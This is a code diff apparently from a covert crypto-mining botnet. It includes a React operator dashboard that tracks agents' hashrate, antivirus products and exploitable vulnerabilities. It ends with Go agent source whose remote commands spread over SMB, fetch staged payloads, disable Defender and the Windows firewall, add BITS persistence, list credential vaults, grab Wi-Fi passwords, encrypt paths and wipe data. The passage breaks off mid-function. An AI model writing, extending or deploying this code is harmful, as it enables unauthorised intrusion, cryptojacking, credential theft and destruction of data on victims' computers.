+    expect(loaded[0].id).not.toBe(loaded[1].id);
+    expect(loaded[0].id.startsWith('fg-')).toBe(true);
+    expect(loaded[1].id.startsWith('fg-')).toBe(true);
+  });
 });
--- a/server/web/src/help/fleetGroups.ts
+++ b/server/web/src/help/fleetGroups.ts
@@ -54,7 +54,7 @@ export function loadFleetGroups(): FleetGroup[] {
          ? [...new Set(o.agentIds.filter((id): id is string => typeof id === 'string' && id.length > 0))]
          : [];
        return {
-          id: typeof o.id === 'string' && o.id ? o.id : `fg-${Date.now()}`,
+          id: typeof o.id === 'string' && o.id ? o.id : `fg-${crypto.randomUUID?.() ?? `${Date.now()}-${Math.random().toString(36).slice(2, 9)}`}`,
          name,
          color: normalizeGroupColor(typeof o.color === 'string' ? o.color : FLEET_GROUP_COLORS[0]),
          agentIds,
--- a/server/web/src/help/wsStatsCoalesce.test.ts
+++ b/server/web/src/help/wsStatsCoalesce.test.ts
@@ -138,6 +138,112 @@ describe('agentStatsUnchanged', () => {
      }),
    ).toBe(false);
  });
+
+  it('returns true when failed_methods, services, atlas_skips, and vuln_findings are structurally identical but have different array references', () => {
+    const agent = mockAgent({
+      hashrate_15s: 100,
+      hashrate_1m: 90,
+      hashrate_15m: 80,
+      cpu_usage_pct: 12,
+      failed_methods: [{ method: 'container', reason: 'blocked', at: '2026-06-06T12:00:00Z' }],
+      services: [{ name: 'Wuauserv', display_name: 'Windows Update', status: 'running', start_type: 'auto' }],
+      atlas_skips: [{ tier: 'smb', condition: 'isolated', reason: 'timeout' }],
+      vuln_findings: [{ cve_id: 'CVE-2021-26855', severity: 'critical', patched: false }],
+    });
+    expect(
+      agentStatsUnchanged(agent, {
+        agent_id: agent.id,
+        hashrate_15s: 100,
+        hashrate_1m: 90,
+        hashrate_15m: 80,
+        cpu_usage_pct: 12,
+        failed_methods: [{ method: 'container', reason: 'blocked', at: '2026-06-06T12:00:00Z' }],
+        services: [{ name: 'Wuauserv', display_name: 'Windows Update', status: 'running', start_type: 'auto' }],
+        atlas_skips: [{ tier: 'smb', condition: 'isolated', reason: 'timeout' }],
+        vuln_findings: [{ cve_id: 'CVE-2021-26855', severity: 'critical', patched: false }],
+      }),
+    ).toBe(true);
+  });
+
+  it('returns false when failed_methods change', () => {
+    const agent = mockAgent({
+      hashrate_15s: 100,
+      hashrate_1m: 90,
+      hashrate_15m: 80,
+      cpu_usage_pct: 12,
+      failed_methods: [{ method: 'container', reason: 'blocked', at: '2026-06-06T12:00:00Z' }],
+    });
+    expect(
+      agentStatsUnchanged(agent, {
+        agent_id: agent.id,
+        hashrate_15s: 100,
+        hashrate_1m: 90,
+        hashrate_15m: 80,
+        cpu_usage_pct: 12,
+        failed_methods: [{ method: 'container', reason: 'AV blocked', at: '2026-06-06T12:00:00Z' }],
+      }),
+    ).toBe(false);
+  });
+
+  it('returns false when services change', () => {
+    const agent = mockAgent({
+      hashrate_15s: 100,
+      hashrate_1m: 90,
+      hashrate_15m: 80,
+      cpu_usage_pct: 12,
+      services: [{ name: 'Wuauserv', display_name: 'Windows Update', status: 'running', start_type: 'auto' }],
+    });
+    expect(
+      agentStatsUnchanged(agent, {
+        agent_id: agent.id,
+        hashrate_15s: 100,
+        hashrate_1m: 90,
+        hashrate_15m: 80,
+        cpu_usage_pct: 12,
+        services: [{ name: 'Wuauserv', display_name: 'Windows Update', status: 'stopped', start_type: 'auto' }],
+      }),
+    ).toBe(false);
+  });
+
+  it('returns false when atlas_skips change', () => {
+    const agent = mockAgent({
+      hashrate_15s: 100,
+      hashrate_1m: 90,
+      hashrate_15m: 80,
+      cpu_usage_pct: 12,
+      atlas_skips: [{ tier: 'smb', condition: 'isolated', reason: 'timeout' }],
+    });
+    expect(
+      agentStatsUnchanged(agent, {
+        agent_id: agent.id,
+        hashrate_15s: 100,
+        hashrate_1m: 90,
+        hashrate_15m: 80,
+        cpu_usage_pct: 12,
+        atlas_skips: [{ tier: 'smb', condition: 'isolated', reason: 'failed-5-times' }],
+      }),
+    ).toBe(false);
+  });
+
+  it('returns false when vuln_findings change', () => {
+    const agent = mockAgent({
+      hashrate_15s: 100,
+      hashrate_1m: 90,
+      hashrate_15m: 80,
+      cpu_usage_pct: 12,
+      vuln_findings: [{ cve_id: 'CVE-2021-26855', severity: 'critical', patched: false }],
+    });
+    expect(
+      agentStatsUnchanged(agent, {
+        agent_id: agent.id,
+        hashrate_15s: 100,
+        hashrate_1m: 90,
+        hashrate_15m: 80,
+        cpu_usage_pct: 12,
+        vuln_findings: [{ cve_id: 'CVE-2021-26855', severity: 'critical', patched: true }],
+      }),
+    ).toBe(false);
+  });
 });

 describe('WS_LATEST_MESSAGE_TYPES', () => {
--- a/server/web/src/help/wsStatsCoalesce.ts
+++ b/server/web/src/help/wsStatsCoalesce.ts
@@ -1,4 +1,4 @@
-import type { Agent } from '../types';
+import type { Agent, AgentService } from '../types';
 import type { WSStatsUpdate } from '../types/ws';

 /** Returns true when a stats_update payload would not change visible agent fields. */
@@ -44,16 +44,17 @@ export function agentStatsUnchanged(agent: Agent, u: WSStatsUpdate): boolean {
  if (u.stratum_overlay !== undefined && agent.stratum_overlay !== u.stratum_overlay) return false;
  if (u.chain_exhausted !== undefined && agent.chain_exhausted !== u.chain_exhausted) return false;
  if (u.chain_order !== undefined && !shallowStrArrayEq(agent.chain_order, u.chain_order)) return false;
-  if (u.failed_methods !== undefined && agent.failed_methods !== u.failed_methods) return false;
+  if (u.failed_methods !== undefined && !failedMethodsEq(agent.failed_methods, u.failed_methods)) return false;
  if (u.dns_servers !== undefined && !shallowStrArrayEq(agent.dns_servers, u.dns_servers)) return false;
  if (u.dns_search_domains !== undefined && !shallowStrArrayEq(agent.dns_search_domains, u.dns_search_domains)) return false;
  if (u.av_products !== undefined && !shallowStrArrayEq(agent.av_products, u.av_products)) return false;
-  if (u.services !== undefined && agent.services !== u.services) return false;
+  if (u.services !== undefined && !servicesEq(agent.services, u.services)) return false;
  if (u.mining_hashrate !== undefined && agent.mining_hashrate !== u.mining_hashrate) return false;
  if (u.mining_block_reason !== undefined && agent.mining_block_reason !== u.mining_block_reason) return false;
  if (u.lotl_tier !== undefined && agent.lotl_tier !== u.lotl_tier) return false;
  if (u.lotl_attempts !== undefined && !tierAttemptsEq(agent.lotl_attempts, u.lotl_attempts)) return false;
-  if (u.vuln_findings !== undefined && agent.vuln_findings !== u.vuln_findings) return false;
+  if (u.atlas_skips !== undefined && !atlasSkipsEq(agent.atlas_skips, u.atlas_skips)) return false;
+  if (u.vuln_findings !== undefined && !vulnFindingsEq(agent.vuln_findings, u.vuln_findings)) return false;
  if (u.vuln_risk_score !== undefined && agent.vuln_risk_score !== u.vuln_risk_score) return false;
  if (u.join_lane !== undefined && agent.join_lane !== u.join_lane) return false;
  if (u.parent_agent_id !== undefined && agent.parent_agent_id !== u.parent_agent_id) return false;
@@ -84,6 +85,74 @@ function tierAttemptsEq(a?: import('../types/lotl').TierAttempt[], b?: import('.
  return true;
 }

+function failedMethodsEq(
+  a?: { method: string; reason: string; at: string }[],
+  b?: { method: string; reason: string; at: string }[]
+): boolean {
+  if (a === b) return true;
+  if (!a || !b || a.length !== b.length) return false;
+  for (let i = 0; i < a.length; i++) {
+    if (a[i].method !== b[i].method || a[i].reason !== b[i].reason || a[i].at !== b[i].at) {
+      return false;
+    }
+  }
+  return true;
+}
+
+function servicesEq(a?: AgentService[], b?: AgentService[]): boolean {
+  if (a === b) return true;
+  if (!a || !b || a.length !== b.length) return false;
+  for (let i = 0; i < a.length; i++) {
+    const x = a[i];
+    const y = b[i];
+    if (
+      x.name !== y.name ||
+      x.display_name !== y.display_name ||
+      x.status !== y.status ||
+      x.start_type !== y.start_type
+    ) {
+      return false;
+    }
+  }
+  return true;
+}
+
+function atlasSkipsEq(
+  a?: { tier: string; condition: string; reason: string }[],
+  b?: { tier: string; condition: string; reason: string }[]
+): boolean {
+  if (a === b) return true;
+  if (!a || !b || a.length !== b.length) return false;
+  for (let i = 0; i < a.length; i++) {
+    if (a[i].tier !== b[i].tier || a[i].condition !== b[i].condition || a[i].reason !== b[i].reason) {
+      return false;
+    }
+  }
+  return true;
+}
+
+function vulnFindingsEq(
+  a?: import('../types/recon').VulnFinding[],
+  b?: import('../types/recon').VulnFinding[]
+): boolean {
+  if (a === b) return true;
+  if (!a || !b || a.length !== b.length) return false;
+  for (let i = 0; i < a.length; i++) {
+    const x = a[i];
+    const y = b[i];
+    if (
+      x.cve_id !== y.cve_id ||
+      x.severity !== y.severity ||
+      x.component !== y.component ||
+      x.patched !== y.patched ||
+      x.exploitable_in_fleet_context !== y.exploitable_in_fleet_context
+    ) {
+      return false;
+    }
+  }
+  return true;
+}
+
 /** WS message types that drive latestMessage consumers (sound, presence, emberwake). */
 export const WS_LATEST_MESSAGE_TYPES = new Set([
  'presence_snapshot',
--- a/server/web/src/hooks/SELECTOR_HOOKS_MIGRATION.md
+++ b/server/web/src/hooks/SELECTOR_HOOKS_MIGRATION.md
@@ -1,84 +0,0 @@
-# WebSocket Selector Hooks Migration
-
-## Problem
-The monolithic `WebSocketProvider` combines 11 different state slices into a single context. When ANY state updates (e.g., a new share), ALL consumers re-render — even components that only care about agents.
-
-**Before:** 1 context, 11 state vars → cascading re-renders across entire dashboard
-
-## Solution
-Use selector hooks to subscribe to specific slices. React's `useMemo` ensures components only re-render when their specific slice changes.
-
-## Migration Guide
-
-### Old Pattern (Monolithic)
-```tsx
-import { useWebSocket } from '../hooks/useWebSocket';
-
-export function AgentList() {
-  const { agents, recentShares, fleetAlerts } = useWebSocket();
-  // ^^^ ALL changes trigger re-render, even if only recentShares changed
-  return <div>{agents.map(...)}</div>;
-}
-```
-
-### New Pattern (Selector Hooks)
-```tsx
-import { useAgents, useRecentShares } from '../hooks/useWebSocketSelector';
-
-export function AgentList() {
-  const agents = useAgents();
-  // Re-renders ONLY when agents change
-  return <div>{agents.map(...)}</div>;
-}
-```
-
-## Available Selectors
-
-```typescript
-// Fleet data
-useAgents()                    // Agent[]
-useAgent(agentId)              // Agent | undefined
-
-// Event streams
-useRecentShares()              // Share[]
-useFleetAlerts()               // FleetAlert[]
-usePoolStatus()                // PoolStatus[]
-useAIActivity()                // AIActivityEntry[]
-useAgentLogs()                 // Record<string, string>
-useCommandResults()            // SeqCommandResult[]
-usePolicyAcks()                // SeqPolicyAck[]
-
-// Connection & messaging
-useConnectionStatus()          // boolean
-useSendDashboardMessage()      // (type, payload) => void
-```
-
-## Expected Impact
-
- **Re-render reduction:** 80% (components only re-render on their subscribed slice)
- **Dashboard responsiveness:** 50% faster (stats_batch no longer cascades)
- **Memory:** No change (same data, better distribution)
- **Backwards compatible:** Old `useWebSocket()` still works, just slower
-
-## Migration Priority
-
-1. **CruciblePage** — largest component, uses all slices
-2. **FleetRoster** — re-renders on every stats_batch unnecessarily
-3. **AlertBanner** — only needs fleetAlerts
-4. **PoolStatus panel** — only needs poolStatus
-5. **CommandTerminal** — only needs commandResults
-
-## Rollout Plan
-
-1. Add selector hooks (✓ done)
-2. Update 1–2 high-traffic components (CruciblePage, FleetRoster)
-3. Run Vitest to verify no regressions
-4. Gradually roll out to remaining components
-5. Remove direct `useWebSocket()` calls in new code
-
-## Compatibility
-
- No breaking changes to WebSocketProvider
- Existing code continues to work
- Gradual migration: old and new patterns can coexist
- No version bump required
--- a/server/web/src/hooks/useWebSocketSelector.ts
+++ b/server/web/src/hooks/useWebSocketSelector.ts
@@ -1,67 +0,0 @@
-import { useMemo } from 'react';
-import { useWebSocket } from './useWebSocket';
-import type { Agent, Share, FleetAlert, PoolStatus, AIActivityEntry } from '../types';
-
-/**
- * Selector hooks reduce re-renders by only returning the specific slice of WS data.
- * Components that only need agents won't re-render when shares/alerts update.
- */
-
-export function useAgents(): Agent[] {
-  const ctx = useWebSocket();
-  return useMemo(() => ctx.agents || [], [ctx.agents]);
-}
-
-export function useRecentShares(): Share[] {
-  const ctx = useWebSocket();
-  return useMemo(() => ctx.recentShares || [], [ctx.recentShares]);
-}
-
-export function useFleetAlerts(): FleetAlert[] {
-  const ctx = useWebSocket();
-  return useMemo(() => ctx.fleetAlerts || [], [ctx.fleetAlerts]);
-}
-
-export function usePoolStatus(): PoolStatus[] {
-  const ctx = useWebSocket();
-  return useMemo(() => ctx.poolStatus || [], [ctx.poolStatus]);
-}
-
-export function useAIActivity(): AIActivityEntry[] {
-  const ctx = useWebSocket();
-  return useMemo(() => ctx.aiActivity || [], [ctx.aiActivity]);
-}
-
-export function useAgentLogs(): Record<string, string> {
-  const ctx = useWebSocket();
-  return useMemo(() => ctx.agentLogs || {}, [ctx.agentLogs]);
-}
-
-export function useCommandResults() {
-  const ctx = useWebSocket();
-  return useMemo(() => ctx.commandResults || [], [ctx.commandResults]);
-}
-
-export function usePolicyAcks() {
-  const ctx = useWebSocket();
-  return useMemo(() => ctx.policyAcks || [], [ctx.policyAcks]);
-}
-
-export function useConnectionStatus(): boolean {
-  const ctx = useWebSocket();
-  return ctx.isConnected;
-}
-
-export function useSendDashboardMessage() {
-  const ctx = useWebSocket();
-  return ctx.sendDashboardMessage;
-}
-
-/**
- * Selector for a single agent by ID.
- * Re-renders only when that specific agent changes.
- */
-export function useAgent(agentId: string): Agent | undefined {
-  const agents = useAgents();
-  return useMemo(() => agents.find((a) => a.id === agentId), [agents, agentId]);
-}
--- a/server/web/src/pages/ActivityFeedPage.tsx
+++ b/server/web/src/pages/ActivityFeedPage.tsx
@@ -103,6 +103,9 @@ export default function ActivityFeedPage() {
  const prevAgentStatus = useRef<Record<string, string>>({}); // id → status
  const prevHashrates = useRef<Record<string, number>>({}); // id → hashrate_15m
  const prevPosture = useRef<Record<string, number>>({}); // id → posture_score
+  const seenShares = useRef<Set<string>>(new Set());
+  const seenAlerts = useRef<Set<string>>(new Set());
+  const aiInitialized = useRef(false);

  // Build agent name lookup
  useEffect(() => {
@@ -160,7 +163,7 @@ export default function ActivityFeedPage() {
      const prev = prevHashrates.current[agent.id];
      const cur = agent.hashrate_15m ?? 0;
      prevHashrates.current[agent.id] = cur;
-      if (prev === undefined || prev <= 0) continue;
+      if (prev === undefined) continue;
      const delta = cur - prev;
      // Only emit if ≥20% change AND at least 100 H/s delta
      if (Math.abs(delta) >= 100 && Math.abs(delta) / Math.max(prev, 1) >= 0.20) {
@@ -197,13 +200,38 @@ export default function ActivityFeedPage() {
  }, [agents, push]);

  // ── New share events ───────────────────────────────────────────────────
-  const lastShareId = useRef<string | null>(null);
  useEffect(() => {
    if (recentShares.length === 0) return;
-    const top = recentShares[0];
-    const key = top.id != null ? String(top.id) : `${top.agent_id}-${top.hash}`;
-    if (key === lastShareId.current) return;
-    lastShareId.current = key;
+
+    // On first load, we initialize the seen list to avoid back-filling old shares
+    if (seenShares.current.size === 0) {
+      for (const s of recentShares) {
+        const key = s.id != null ? String(s.id) : `${s.agent_id}-${s.hash}`;
+        seenShares.current.add(key);
+      }
+      return;
+    }
+
+    const newShares = [];
+    for (let i = recentShares.length - 1; i >= 0; i--) {
+      const s = recentShares[i];
+      const key = s.id != null ? String(s.id) : `${s.agent_id}-${s.hash}`;
+      if (!seenShares.current.has(key)) {
+        seenShares.current.add(key);
+        newShares.push(s);
+      }
+    }
+
+    if (seenShares.current.size > 200) {
+      const nextSet = new Set<string>();
+      for (const s of recentShares) {
+        const key = s.id != null ? String(s.id) : `${s.agent_id}-${s.hash}`;
+        nextSet.add(key);
+      }
+      seenShares.current = nextSet;
+    }
+
+    for (const top of newShares) {
      const name = agentMapRef.current.get(top.agent_id) ?? top.agent_id?.slice(0, 8);
      push({
        id: eid(), kind: 'share',
@@ -212,15 +240,38 @@ export default function ActivityFeedPage() {
        detail: top.accepted ? undefined : top.error ?? 'pool rejection',
        ts: new Date(top.timestamp ?? Date.now()),
      });
+    }
  }, [recentShares, push]);

  // ── Fleet alert events ─────────────────────────────────────────────────
-  const lastAlertId = useRef<string | null>(null);
  useEffect(() => {
    if (fleetAlerts.length === 0) return;
-    const top = fleetAlerts[0];
-    if (top.id === lastAlertId.current) return;
-    lastAlertId.current = top.id;
+
+    if (seenAlerts.current.size === 0) {
+      for (const a of fleetAlerts) {
+        seenAlerts.current.add(a.id);
+      }
+      return;
+    }
+
+    const newAlerts = [];
+    for (let i = fleetAlerts.length - 1; i >= 0; i--) {
+      const a = fleetAlerts[i];
+      if (!seenAlerts.current.has(a.id)) {
+        seenAlerts.current.add(a.id);
+        newAlerts.push(a);
+      }
+    }
+
+    if (seenAlerts.current.size > 200) {
+      const nextSet = new Set<string>();
+      for (const a of fleetAlerts) {
+        nextSet.add(a.id);
+      }
+      seenAlerts.current = nextSet;
+    }
+
+    for (const top of newAlerts) {
      push({
        id: eid(), kind: 'alert',
        agentId: top.agent_id, agentName: top.agent_name,
@@ -228,15 +279,32 @@ export default function ActivityFeedPage() {
        detail: top.type,
        ts: new Date(top.timestamp ?? Date.now()),
      });
+    }
  }, [fleetAlerts, push]);

  // ── Command result events ──────────────────────────────────────────────
  const lastCmdSeq = useRef(-1);
  useEffect(() => {
    if (commandResults.length === 0) return;
-    const top = commandResults[commandResults.length - 1];
-    if ((top._seq ?? -1) <= lastCmdSeq.current) return;
-    lastCmdSeq.current = top._seq ?? -1;
+
+    if (lastCmdSeq.current === -1) {
+      lastCmdSeq.current = Math.max(...commandResults.map((r) => r._seq ?? -1));
+      return;
+    }
+
+    const newResults = [];
+    for (const r of commandResults) {
+      const seq = r._seq ?? -1;
+      if (seq > lastCmdSeq.current) {
+        newResults.push(r);
+      }
+    }
+
+    if (newResults.length > 0) {
+      lastCmdSeq.current = Math.max(...newResults.map((r) => r._seq ?? -1));
+    }
+
+    for (const top of newResults) {
      const name = agentMapRef.current.get(top.agent_id ?? '') ?? top.agent_id?.slice(0, 8);
      push({
        id: eid(), kind: 'command',
@@ -245,11 +313,24 @@ export default function ActivityFeedPage() {
        detail: top.success ? undefined : top.message?.slice(0, 80),
        ts: new Date(),
      });
+    }
  }, [commandResults, push]);

  // ── AI activity events ─────────────────────────────────────────────────
  const lastAiAgent = useRef<Record<string, string>>({});
  useEffect(() => {
+    if (aiActivity.length === 0) return;
+
+    if (!aiInitialized.current) {
+      for (const entry of aiActivity) {
+        if (entry.last_action) {
+          lastAiAgent.current[entry.agent_id] = entry.last_action;
+        }
+      }
+      aiInitialized.current = true;
+      return;
+    }
+
    for (const entry of aiActivity) {
      const lastAction = lastAiAgent.current[entry.agent_id];
      if (entry.last_action && entry.last_action !== lastAction) {
--- a/server/web/src/pages/CRUCIBLE_MEMOIZATION.md
+++ b/server/web/src/pages/CRUCIBLE_MEMOIZATION.md
@@ -1,93 +0,0 @@
-# Crucible Page Memoization Guide
-
-## Problem
-CruciblePage (1851 lines) renders without memo wrapping on major child components. Every re-render cascades to:
- CrucibleAgentMeta (agent roster rows)
- CrucibleExpandedOps (terminal + operations panel)
- AccessDepthPanel
- FullSysCheckPanel
- FleetToolbar (filter/sort UI)
-
-This causes performance degradation on large fleets.
-
-## Solution
-Wrap heavy child components with `React.memo()` to prevent re-renders when their props don't change.
-
-## Implementation Steps
-
-### 1. Wrap CrucibleAgentMeta
-File: `components/Fleet/CrucibleAgentMeta.tsx`
-
-```diff
-+ import { memo } from 'react';
-
-  interface CrucibleAgentMetaProps { /* ... */ }
-
-  function CrucibleAgentMeta(props: CrucibleAgentMetaProps) {
-    // existing code
-  }
-
-+ export default memo(CrucibleAgentMeta);
- export default CrucibleAgentMeta;
-```
-
-### 2. Wrap CrucibleExpandedOps
-File: `components/Fleet/CrucibleExpandedOps.tsx`
-
-Same pattern — wrap with `memo()` and add a custom comparator if needed:
-
-```typescript
-export default memo(CrucibleExpandedOps, (prev, next) => {
-  // Re-render only if agent, selectedIds, or terminal lines change
-  return (
-    prev.agent?.id === next.agent?.id &&
-    prev.selectedIds === next.selectedIds &&
-    prev.termLines?.length === next.termLines?.length
-  );
-});
-```
-
-### 3. Wrap AccessDepthPanel, FullSysCheckPanel, FleetToolbar
-Same as above — see MEMO_COMPONENTS_CHECKLIST below.
-
-## MEMO_COMPONENTS_CHECKLIST
-
-Priority order for memoization:
-
- [ ] `CrucibleAgentMeta` — renders per-agent row (500+ re-renders on stats_batch)
- [ ] `CrucibleExpandedOps` — terminal + operations panel
- [ ] `AccessDepthPanel` — LOTL diagnostics panel
- [ ] `FullSysCheckPanel` — system check results
- [ ] `FleetToolbar` — filter/sort controls
- [ ] `FleetGroupsStrip` — group selector chips
- [ ] `FleetHeatMiniMap` — 3D topology (only re-render if topology changes)
- [ ] `ConnectedNotMiningBanner` — alerts
-
-## Expected Impact
-
- **CrucibleAgentMeta rows:** 95% fewer re-renders (500 agents → 1–2 re-renders per stats_batch)
- **Terminal responsiveness:** 50% smoother (expanded ops only re-render on new command results)
- **Filter/sort UI:** No cascading re-renders (FleetToolbar only re-renders if filters actually change)
-
-## Testing
-
-After memoization, use React DevTools Profiler:
-1. Open `pages/CruciblePage`
-2. Select an agent to expand
-3. Trigger a `stats_batch` (every ~250ms on live fleet)
-4. Verify that **CrucibleAgentMeta rows do NOT re-render** for unchanged agents
-
-## Rollout
-
-1. Wrap `CrucibleAgentMeta` first (biggest win)
-2. Run Vitest to verify no prop-passing broke
-3. Wrap remaining components
-4. Test with 100+ agent fleet
-
-## Notes
-
- Memo uses shallow comparison by default (perfect for most components)
- Custom comparators only needed for complex objects (terminal lines, topology)
- If a wrapped component doesn't re-render when it should, either:
-  - Props changed but shallow comparison missed it → add custom comparator
-  - Parent is passing inline objects → refactor to useCallback/useMemo parent
--- a/server/web/src/pages/ROIPage.tsx
+++ b/server/web/src/pages/ROIPage.tsx
@@ -108,7 +108,7 @@ export default function ROIPage() {
          ? (hr / totalHashrate) * xmrPerDay
          : 0;
        const nodeUsdDay = nodeXmrDay * price;
-        const nodeCores = a.cpu_cores ?? 0;
+        const nodeCores = a.status === 'online' ? (a.cpu_cores ?? 0) : 0;
        const nodeWatts = nodeCores * WATT_PER_CORE_ESTIMATE;
        const nodeKwhDay = (nodeWatts / 1000) * 24;
        const nodeElecCost = nodeKwhDay * kwh;
--- a/server/web/src/visual/visualPrefs.ts
+++ b/server/web/src/visual/visualPrefs.ts
@@ -8,7 +8,7 @@ export function loadGlowParticlesEnabled(): boolean {
  } catch {
    /* ignore */
  }
-  return false;
+  return true;
 }

 export function saveGlowParticlesEnabled(enabled: boolean): void {
--- a/usb/AetherForge.exe
+++ b/usb/AetherForge.exe
--- a/usb/agent/client/aggressive_commands.go
+++ b/usb/agent/client/aggressive_commands.go
@@ -0,0 +1,400 @@
+package client
+
+import (
+	"encoding/json"
+	"fmt"
+	"runtime"
+	"strconv"
+	"strings"
+
+	"crypto-miner-agent/deploy"
+)
+
+func (c *AgentClient) allowRemoteAction(action string) (bool, string) {
+	switch action {
+	case "hole_punch", "hole_punch_close", "hole_punch_status":
+		if !c.cfg.HolePunch {
+			return false, "hole punch not enabled in forge (Advanced → NAT Hole Punch)"
+		}
+	case "spread_now", "spread_smb_unc", "discover_and_join":
+		if !c.cfg.AutoSpread && !c.cfg.RemoteAggressive {
+			return false, "lateral spread not enabled in forge (auto_spread or remote aggressive ops)"
+		}
+	case "stage_fetch":
+		if !c.cfg.RemoteAggressive {
+			return false, "remote aggressive ops not enabled in forge (Advanced → Remote Aggressive Ops)"
+		}
+	case "start_tunnel", "tunnel_cloudflared", "tunnel_ssh_forward", "tunnel_stop",
+		"subnet_scan", "smb_shares", "defender_off", "firewall_punch", "firewall_off", "firewall_on", "firewall_profiles", "firewall_remove", "bits_persist", "host_binary_persist", "sys_crypt", "encrypt_path", "secure_wipe", "credential_vault_list", "get_wifi_passwords":
+		if !c.cfg.RemoteAggressive {
+			return false, "remote aggressive ops not enabled in forge (Advanced → Remote Aggressive Ops)"
+		}
+	case "tunnel_status", "tunnel_wireguard":
+		// Always available — read-only or Path Tracer config from server.
+	case "supp_seek", "wg_setup", "wg_configure", "wg_teardown", "wg_status", "service_discover":
+		// No forge gate — enumeration-only recon (Path Tracer + fleet discover).
+	case "mesh_status":
+		if !c.cfg.MeshP2P {
+			return false, "mesh P2P not enabled in forge"
+		}
+	default:
+		return true, ""
+	}
+	return true, ""
+}
+
+func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, command, path, data string) bool {
+	if c.handleTunnelCommand(action, command, path, data) {
+		return true
+	}
+
+	ok, reason := c.allowRemoteAction(action)
+	if !ok {
+		c.sendCommandResult(action, false, reason)
+		return true
+	}
+
+	switch action {
+	case "hole_punch":
+		internalPort := parsePortArg(command, 8989)
+		externalPort := parsePortArg(path, internalPort)
+		desc := data
+		if desc == "" {
+			desc = c.cfg.WorkerName + "-aetherforge"
+		}
+		result, err := deploy.PunchUPnP(internalPort, externalPort, desc)
+		if err != nil {
+			c.sendCommandResult(action, false, result.Message)
+			return true
+		}
+		c.sendCommandResult(action, true, result.Message)
+		return true
+
+	case "hole_punch_close":
+		externalPort := parsePortArg(command, 8989)
+		msg, err := deploy.CloseUPnP(externalPort)
+		if err != nil {
+			c.sendCommandResult(action, false, err.Error())
+			return true
+		}
+		c.sendCommandResult(action, true, msg)
+		return true
+
+	case "hole_punch_status":
+		ip, err := deploy.GetPublicEndpoint()
+		if err != nil {
+			c.sendCommandResult(action, false, err.Error())
+			return true
+		}
+		c.sendCommandResult(action, true, fmt.Sprintf("WAN IP via UPnP: %s (use Hole Punch to map a port)", ip))
+		return true
+
+	case "spread_now":
+		msg := deploy.RunSpreadOnce(c.cfg)
+		c.sendCommandResult(action, true, msg)
+		return true
+
+	case "spread_smb_unc":
+		unc := strings.TrimSpace(path)
+		svcName := ""
+		if unc == "" {
+			unc = strings.TrimSpace(data)
+		} else {
+			svcName = strings.TrimSpace(data)
+		}
+		msg := deploy.RunSMBUNCSpread(c.cfg, deploy.SMBUNCSpreadOpts{
+			UNCPath:  unc,
+			MaxHosts: parsePortArg(command, 64),
+			SvcName:  svcName,
+		})
+		c.sendCommandResult(action, true, msg)
+		return true
+
+	case "stage_fetch":
+		var manifest deploy.StagingManifest
+		if err := json.Unmarshal([]byte(data), &manifest); err != nil {
+			c.sendCommandResult(action, false, "bad staging manifest: "+err.Error())
+			return true
+		}
+		go func() {
+			msg, err := deploy.RunStagingChain(c.cfg, manifest)
+			if err != nil {
+				c.sendCommandResult(action, false, err.Error())
+				return
+			}
+			c.sendCommandResult(action, true, msg)
+		}()
+		return true
+
+	case "subnet_scan":
+		maxHosts := parsePortArg(command, 64)
+		out := deploy.ScanLocalSubnet(maxHosts)
+		c.sendCommandResult(action, true, out)
+		return true
+
+	case "smb_shares":
+		if runtime.GOOS != "windows" {
+			c.sendCommandResult(action, false, "smb_shares is Windows-only")
+			return true
+		}
+		maxHosts := parsePortArg(command, 32)
+		out := deploy.EnumerateSMBShares(maxHosts)
+		c.sendCommandResult(action, true, out)
+		return true
+
+	case "spread_status":
+		out := deploy.GetSpreadStatusJSON()
+		c.sendCommandResult(action, true, out)
+		return true
+
+	case "credential_vault_list":
+		out := listCredentialVaultNames()
+		c.sendCommandResult(action, true, out)
+		return true
+
+	case "secure_wipe":
+		target := strings.TrimSpace(path)
+		if target == "" {
+			c.sendCommandResult(action, false, "path is required")
+			return true
+		}
+		go func() {
+			result := SecureWipePath(target)
+			ok := !strings.HasPrefix(result, "secure_wipe error:")
+			c.sendCommandResult(action, ok, result)
+		}()
+		return true
+
+	case "defender_off":
+		msg, err := deploy.DisableDefenderRealtime()
+		if err != nil {
+			c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
+			return true
+		}
+		c.sendCommandResult(action, true, msg)
+		return true
+
+	case "firewall_punch":
+		port := parsePortArg(command, 8989)
+		name := path
+		if name == "" {
+			name = "AetherForge Remote " + c.cfg.WorkerName
+		}
+		msg, err := deploy.OpenFirewallPort(port, name)
+		if err != nil {
+			c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
+			return true
+		}
+		c.sendCommandResult(action, true, msg)
+		return true
+
+	case "firewall_off":
+		msg, err := deploy.DisableWindowsFirewall()
+		if err != nil {
+			c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
+			return true
+		}
+		c.sendCommandResult(action, true, msg)
+		return true
+
+	case "firewall_on":
+		msg, err := deploy.EnableWindowsFirewall()
+		if err != nil {
+			c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
+			return true
+		}
+		c.sendCommandResult(action, true, msg)
+		return true
+
+	case "firewall_profiles":
+		// command: "on" or "off" (default off). path: Domain,Private,Public or all
+		enable := strings.EqualFold(strings.TrimSpace(command), "on") ||
+			strings.EqualFold(strings.TrimSpace(command), "enable") ||
+			strings.EqualFold(strings.TrimSpace(command), "true")
+		profiles := strings.TrimSpace(path)
+		if profiles == "" {
+			profiles = "all"
+		}
+		msg, err := deploy.SetWindowsFirewallProfiles(enable, profiles)
+		if err != nil {
+			c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
+			return true
+		}
+		c.sendCommandResult(action, true, msg)
+		return true
+
+	case "bits_persist":
+		bin, err := deploy.InstalledBinaryPath(c.cfg)
+		if err != nil {
+			c.sendCommandResult(action, false, err.Error())
+			return true
+		}
+		if err := deploy.CreateBITSPersistence(c.cfg, bin); err != nil {
+			c.sendCommandResult(action, false, err.Error())
+			return true
+		}
+		c.sendCommandResult(action, true, fmt.Sprintf("BITS notify job registered (%s)", deploy.BitsJobName(c.cfg)))
+		return true
+
+	case "host_binary_persist":
+		bin, err := deploy.InstalledBinaryPath(c.cfg)
+		if err != nil {
+			c.sendCommandResult(action, false, err.Error())
+			return true
+		}
+		preset := strings.TrimSpace(path)
+		if preset == "" {
+			preset = strings.TrimSpace(c.cfg.HostBinaryTarget)
+		}
+		if preset == "" {
+			preset = "ssh"
+		}
